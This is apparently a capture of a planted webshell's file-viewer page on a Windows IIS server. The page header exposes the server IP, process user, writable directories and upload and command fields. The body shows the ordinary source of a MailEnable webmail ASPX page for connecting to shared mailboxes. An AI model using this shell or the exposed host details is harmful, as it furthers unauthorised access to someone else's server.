403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Mail Enable/Bin/NETWebMail/Mondo/lang/sys/Forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Mail Enable/Bin/NETWebMail/Mondo/lang/sys/Forms//ManageConnections.aspx
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="ManageConnections.aspx.vb" Inherits="MailEnable.Clients.WebMail.Mondo.Connections"%>
<%@ Register TagPrefix="uc1" TagName="uscStyleHeader" Src="../../Controls/uscStyleHeader.ascx" %>
<%@ Register TagPrefix="uc2" TagName="uscPageBorder_Start" Src="../../Controls/uscPageBorder_Start.ascx" %>
<%@ Register TagPrefix="uc3" TagName="uscPageBorder_End" Src="../../Controls/uscPageBorder_End.ascx" %>
<%@ Register TagPrefix="uc1" TagName="ScriptsInclude" Src="../../Controls/ScriptsInclude.ascx" %>
<%@ Register TagPrefix="uc2" TagName="uscLanguageTokenMondo" Src="../../Controls/uscLanguageToken.ascx" %>
<uc2:uscLanguageTokenMondo id="uscToken" runat="server"></uc2:uscLanguageTokenMondo>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<title><%=uscToken.GetText("[ME_TXT-Connections]")%></title>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<uc1:uscStyleHeader id="UscStyleHeader1" runat="server"></uc1:uscStyleHeader>
		<uc1:ScriptsInclude id="ScriptsInclude" runat="server"></uc1:ScriptsInclude>
		
		<script type="text/javascript" language="javascript">
		<!--
		
		    var gBrowserType = GetBrowserType();
		    
		    $(document).ready(function() {
		        var html_height = $('html').height();
		        //$('#options_shell_js').height(html_height);
		    });
		    
		    function ServerRequest(Command, Data, UseCallback, FrameName)
	        {	
			    return LIBAjax_ServerRequest(Command, Data, UseCallback, FrameName);
	        }
			
			function AddConnection()
			{
				var sMailbox = document.getElementById("ddlMailbox").value;
				var sFolder = GetRequestedFolder();
								
				if (sMailbox.length > 0 && sFolder.length > 0)
				{
					ServerRequest("ADD-CONNECTION", "Mailbox=" + sMailbox + "&Folder=" + encodeURIComponent(sFolder), false);
				}
				else
				{
					if (getTopAppWindow().ShowAlert)
					{
					    getTopAppWindow().ShowAlert(t_("[ME_TXT-Error]"), t_("[ME_TXT-Pleasemakesureyouhaveselectedavalidresourcetoopen]"), true);
					}
					else
					{
					    alert(t_("[ME_TXT-Pleasemakesureyouhaveselectedavalidresourcetoopen]"));
					}
				}
			}
			
			function GetRequestedFolder()
			{
				var sFolder = "";
				if (document.getElementById("ddlFolders").value.length > 0)
				{
					sFolder = document.getElementById("ddlFolders").value;
				}
												
				sFolder = sFolder.replace(/\\/g, "/");
				
				return sFolder;
			}
			
			
			function ProcessXMLResult(responseXML)
			{
				var BaseNode = responseXML.getElementsByTagName("BASEELEMENT")[0]; 		
				if (BaseNode == null)
				{
					alert('Server failure');
					return false;
				}
				var oSchema = BaseNode.attributes.getNamedItem('SCHEMA');
				var oMethod = BaseNode.attributes.getNamedItem('METHOD');
				var sSchema;
				var sMethod;
				
				if (oSchema)
				{		
					sSchema = GetXMLValue(oSchema);
				}
				
				if (oMethod)
				{		
					sMethod = GetXMLValue(oMethod);
				}
				
				if (sSchema == 'RESULT')
				{
					if ( sMethod == 'ADD-CONNECTION' )
					{
						ProcessAddConnectionResult(BaseNode);
					}
					
					if ( sMethod == 'LIST-SHARED_MAILBOXES' )
					{
						ProcessMailboxListResult(BaseNode);
					}
					
					if ( sMethod == 'LIST-SHARED_FOLDERS' )
					{
						ProcessFoldersListResult(BaseNode);
					}
					
				}
				return true;
			}
			
			function ProcessAddConnectionResult(BaseNode)
			{
				var sResult = GetXMLValue(BaseNode.getElementsByTagName("RETURNVALUE")[0]);
				if (sResult == "1")
				{
					var sURI = GetXMLValue(BaseNode.getElementsByTagName("URI")[0]);
					var sDescription = GetXMLValue(BaseNode.getElementsByTagName("DESCRIPTION")[0]);
					
					if (getTopAppWindow().ListShares)
					{
						getTopAppWindow().ListShares();
					}
					
					if (getTopAppWindow().window.frames['frmCalendar'] && getTopAppWindow().window.frames['frmCalendar'].ListSharedCalendars)
					{
						getTopAppWindow().window.frames['frmCalendar'].ListSharedCalendars();
					}
					
					if (getTopAppWindow().SelectFolder)
					{
						var sURI = GetXMLValue(BaseNode.getElementsByTagName("URI")[0]);
						var treePath = getTopAppWindow().GetDefaultSharesRootNode('') + '/' + sURI.replace(RegExp('SF:[^/]*\/'), 'Mailbox-');
						if (treePath.match(/Mailbox-[^/]*\/$/))
						{
							// we have connected to an entire mailbox...lets go to the inbox
							treePath += 'Inbox';
						}
						getTopAppWindow().SelectFolder(top.arrTree, treePath);
					}
					
					if (getTopAppWindow().ShowAlert)
					{
					    getTopAppWindow().ShowAlert(t_("[ME_TXT-ConnectToShare]"), t_("[ME_TXT-ConnectedToShareSuccessfully!]"));
					}
					else
					{
					    alert(t_("[ME_TXT-ConnectedToShareSuccessfully!]"));
					}    
				}
				else
				{
					var sError = GetXMLValue(BaseNode.getElementsByTagName("ERROR_DESCRIPTION")[0]);
					if (getTopAppWindow().ShowAlert)
					{
					    getTopAppWindow().ShowAlert(t_("[ME_TXT-Error]"), t_("[ME_TXT-Failedtoconnecttoshare]") + " :: " + sError, true);
					}
					else
					{
					    alert(t_("[ME_TXT-Failedtoconnecttoshare]") + " :: " + sError);
					}
				}
			}
			
			function ProcessMailboxListResult(BaseNode)
			{
				var iMailboxCnt = BaseNode.childNodes.length;
				var oMailboxList = document.getElementById("ddlMailbox");
				var oListItem;

				if (iMailboxCnt > 0)
				{
					oMailboxList.style.display = 'block';
					
					for (i=0; i<iMailboxCnt; i++)
					{
						var xmlMailboxNode = BaseNode.childNodes[i];
						//sMailbox = GetXMLValue(BaseNode.childNodes[i]);
						sMailbox = GetXMLValue(xmlMailboxNode.getElementsByTagName('NAME')[0]);
						var sFriendlyName = GetXMLValue(xmlMailboxNode.getElementsByTagName('DESCRIPTION')[0]);
						
						if (sMailbox != "<%= Session.Item("AUTH_USERNAME") %>")
						{
							oListItem = document.createElement("OPTION");
							oListItem.value = sMailbox;
							oListItem.appendChild(document.createTextNode(sMailbox + '  (' + sFriendlyName + ')'));
							
							oMailboxList.appendChild(oListItem);
						}
					}
				}
				else
				{
					// disable the add button
					document.getElementById("btnAdd").disabled = true;
					
					// and the mailbox list
					oMailboxList.style.display = 'none';
				}
			}
			
			function GetFolderDisplayName(sFolderName)
			{
				if (sFolderName == '/')
				{
					return '[Mailbox]';
				}
				return sFolderName;
				
			}			
			function ProcessFoldersListResult(BaseNode)
			{
				var iFoldersCnt = BaseNode.childNodes.length;
				var oFolderList, oListItem;
				
				ClearFoldersList();
				
				oFolderList = document.getElementById("ddlFolders");
				if (iFoldersCnt > 0)
				{
					for (i=0; i<iFoldersCnt; i++)
					{
						var oResourceNode = BaseNode.childNodes[i];
						var sResourcePhysical = GetXMLValue(oResourceNode.getElementsByTagName('RESOURCE_PHYSICAL')[0]);
						var sResourceDisplay = GetXMLValue(oResourceNode.getElementsByTagName('RESOURCE_DISPLAY')[0]);
					
						AddItemToList(oFolderList,sResourcePhysical,sResourceDisplay)
					}
				}
				else
				{
					oListItem = document.createElement("OPTION");
					oListItem.value = "";
					oListItem.appendChild(document.createTextNode(" (" + t_('[ME_TXT-Nofoldersshared]') + ") "));
					
					oFolderList.appendChild(oListItem);
				}
			}
			
			
			function ListMailboxes()
			{
				ServerRequest("LIST-SHARED_MAILBOXES", "", false);				
			}
			
			
			function ListFolders()
			{
				ServerRequest("LIST-SHARED_FOLDERS", "Mailbox=" + document.getElementById("ddlMailbox").value, false);
			}
			
			function ToggleFolderList(Enabled)
			{
				document.getElementById("ddlFolders").disabled = (!Enabled);
			}
			
			function ClearFoldersList()
			{
				var oFolderList = document.getElementById("ddlFolders");
				
				if (oFolderList)
				{
					clearChildNodes(oFolderList);
				}
			}
						
			function PageLoad()
			{
				ListMailboxes();
				ListFolders();
				ToggleFolderList(true);
			}
			
			function ResourceSelected()
			{
			    if (document.getElementById('ddlFolders').selectedIndex != -1)
			        EnableOKButton("btnConnect", function() { AddConnection(); }, BTTN_FLOAT_RIGHT);
			    else
			        DisableOKButton("btnConnect", BTTN_FLOAT_RIGHT);
			}

		//-->
		</script>
        <!--[if lte IE 7]>
        <style type="text/css">
            .bttn_right  {float:left;}
            .popupWin_foot_bttns {height:27px;margin:0;padding:0;overflow:hidden;}
        </style>
        <![endif]-->		
        
        <!--[if lte IE 8]>
        <style type="text/css">
            .popupWin_foot_bttns {float:none !important;}
            .bttn_float_right, .bttn_float_right_disabled {float:right !important;}
            .popupWin_foot_bttns .bttn_float_right, .popupWin_foot_bttns .bttn_float_right_disabled {margin-top:0 !important;}
        </style>
        <![endif]-->
	</head>
	<body onload="PageLoad()" style="background-color:Transparent;">
		<form method="post" runat="server">	<%WriteFormValidationField()%>
		
             <table class="body_shell_table" border="0" cellspacing="0" cellpadding="0">
                <tr>
                    <td class="bodyCol_options">
                        <div id="options_shell_js">
        	                <div class="options_shell_inner">
            	            
        	                    <!-- Connect To Share -->
		                        <uc2:uscPageBorder_Start id="PageBorder_Start1" runat="server" Width="420px" HasHelp="True" HelpTopic="Shared_Folders"></uc2:uscPageBorder_Start>
                                    <div class="optionsPanel_body_shell">
                                        <table class="options_form_table" border="0" cellspacing="0" cellpadding="0">
                                          <tr>
                                            <td>
                                              <div class="options_form_description">
                                                <%=uscToken.GetText("[ME_TXT-MailboxToOpen]")%>
                                              </div>
                                            </td>
                                          </tr>
                                          <tr>
                                            <td><div class="options_form_gap"></div></td>
                                          </tr>
                                          <tr>
                                            <td>
                                              <table class="options_form_table" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                  <td class="options_table_minWidth"><div class="options_form_label"><h2><%=uscToken.GetText("[ME_TXT-MailUserLabel]")%>:</h2></div></td>
                                                  <td style="*width:100%;">
                                                    <select id="ddlMailbox" onchange="ListFolders()"></select>
                                                  </td>
                                                </tr>
                                              </table>
                                            </td>
                                          </tr>
                                          <tr>
                                            <td>
                                              <div class="options_form_gap"></div>
                                              
                                              <h2><%=uscToken.GetText("[ME_TXT-ResourceToOpenLabel]")%>:</h2>
							                  <select id="ddlFolders" size="2" style="height:150px;" onclick="ResourceSelected()"></select>
                                              
                                              <div class="popupWin_foot_bttns" style="margin-top:8px;">
                                                <div class="bttn_float_right_disabled" id="btnConnect" onclick="AddConnection()">
                                                  <div class="bttn_left" onselectstart="return false;"><div class="compose_bttn_okCancel" style="padding:0px 10px;"><%=uscToken.GetText("[ME_TXT-Connect]")%></div></div>
                                                  <div class="bttn_right"></div>
                                                </div>
                                              </div>
                                            </td>
                                          </tr>
                                        </table>
                                    </div><!-- optionsPanel_body_shell -->
                                <uc3:uscPageBorder_End id="uscPageBorder_End1" runat="server"></uc3:uscPageBorder_End>
                             </div>
        	            </div>
        	        </td>
        	    </tr>
             </table>
		</form>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit